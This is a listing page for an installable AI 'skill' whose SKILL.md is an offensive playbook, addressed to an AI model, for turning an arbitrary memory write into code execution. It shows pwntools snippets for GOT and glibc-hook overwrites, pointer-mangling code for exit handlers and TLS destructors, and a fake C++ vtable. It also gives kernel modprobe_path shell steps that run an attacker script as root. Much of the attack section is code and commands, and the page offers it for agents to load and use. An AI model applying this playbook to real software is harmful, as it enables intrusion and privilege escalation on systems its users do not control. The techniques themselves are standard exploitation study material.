Arbitrary Write To Rce logo

Arbitrary Write To Rce

OrganizationPopular
yaklang
arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namearbitrary-write-to-rce
Stars
2.2K
Forks
292
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Arbitrary Write To Rce AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/arbitrary-write-to-rce .claude/skills/arbitrary-write-to-rce
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Arbitrary Write To Rce in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Arbitrary Write To Rce on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Arbitrary Write To Rce is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.

0. RELATED ROUTING


1. TARGET SELECTION BY GLIBC VERSION

Targetglibc < 2.242.24–2.33≥ 2.34Required Knowledge
GOT overwriteOK (Partial RELRO)OK (Partial RELRO)OK (Partial RELRO)Binary base
__malloc_hookOKOKRemovedlibc base
__free_hookOKOKRemovedlibc base
__realloc_hookOKOKRemovedlibc base
_IO_FILE vtable (direct)OKVtable range checkVtable range checklibc base + heap
_IO_FILE via _IO_str_jumpsN/AOK (2.24–2.27)Patchedlibc base + heap
_IO_FILE via _IO_wfile_jumpsN/AOK (≥ 2.28)OKlibc base + heap
__exit_funcsOKOKOKlibc base + pointer guard
TLS_dtor_listN/AN/AOKTLS addr + pointer guard
_dl_fini / link_mapOKOKOKld.so base
modprobe_path (kernel)OKOKOKKernel base
.fini_arrayOKOKOKBinary base (if writable)
C++ vtableOKOKOKObject address + heap
setcontext gadgetOKOK (changed in 2.29)OKlibc base
Stack return addressAlwaysAlwaysAlwaysStack address

2. GOT OVERWRITE

Replace a function pointer in the Global Offset Table.

Requirements

  • Partial RELRO (.got.plt writable) — Full RELRO blocks this entirely

Common Targets

Overwrite FromOverwrite ToTrigger
printf@GOTsystemNext printf(user_input) with input = /bin/sh
free@GOTsystemNext free(ptr) where ptr points to "/bin/sh"
strlen@GOTsystemNext strlen(user_input)
atoi@GOTsystemNext atoi(user_input) with input = "sh"
puts@GOTsystemNext puts(user_input)
exit@GOTmain or gadgetCreate loop for multi-shot exploit
__stack_chk_fail@GOTret gadgetNeutralize canary check
python
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

3. __malloc_hook / __free_hook (glibc < 2.34)

__malloc_hook

python
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format

__free_hook

python
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it

Realloc Trick for one_gadget Constraints

python
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

4. _IO_FILE VTABLE

See IO_FILE_EXPLOITATION.md for full details.

Quick Summary by Version

glibcMethodVtable Target
< 2.24Direct vtable overwritePoint vtable to fake table with system at __overflow offset
2.24–2.27_IO_str_jumpsWithin valid range; _IO_str_finish calls _s._free_buffer
≥ 2.28_IO_wfile_jumpsWide-char path: _wide_data->_wide_vtable not range-checked
≥ 2.35House of Cat_IO_wfile_seekoff_IO_switch_to_wget_mode → fake wide vtable call

FSOP Trigger

python
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

5. __exit_funcs / __atexit

c
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)

Exploitation

python
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main

Without Pointer Guard Knowledge

If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):

  1. Set pointer guard to 0
  2. Set function pointer to ROL(target, 0x11)
  3. Demangling: ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list (glibc ≥ 2.34)

Thread-local destructor list — the primary post-2.34 target.

c
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)

Location

TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force

Exploitation

python
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

7. _dl_fini / LINK_MAP CORRUPTION

Attack Vector

During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.

c
// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor

Exploitation

  1. Corrupt a link_map entry's l_addr (relocation base) to shift the FINI_ARRAY pointer
  2. Or corrupt l_info[DT_FINI_ARRAY] to point to fake array
  3. Fake array contains target function pointer (system, one_gadget)
  4. Trigger: exit()_dl_fini → calls fake destructor

Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).


8. modprobe_path (KERNEL)

Overwrite the kernel's modprobe_path to execute arbitrary commands as root.

python
# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root

See kernel-exploitation for kernel write primitives.


9. .fini_array

Overwrite destructor function pointers called during normal program exit.

python
# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit

Limitation: .fini_array may be read-only in Full RELRO binaries.


10. C++ VTABLE OVERWRITE

cpp
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
python
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object

11. setcontext GADGET

setcontext in libc loads registers from a ucontext_t structure — useful as a pivot gadget.

glibc < 2.29

c
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control

glibc ≥ 2.29

c
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
python
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

12. DECISION TREE

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)

Frequently asked questions

What does the Arbitrary Write To Rce AI skill do?

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

Why use Arbitrary Write To Rce on TypingMind?

Because you install it once and use it with any model. Arbitrary Write To Rce is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Arbitrary Write To Rce in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/arbitrary-write-to-rce. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Arbitrary Write To Rce?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Arbitrary Write To Rce?

As many as you like. As long as a model supports skills, you can use Arbitrary Write To Rce with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Arbitrary Write To Rce AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇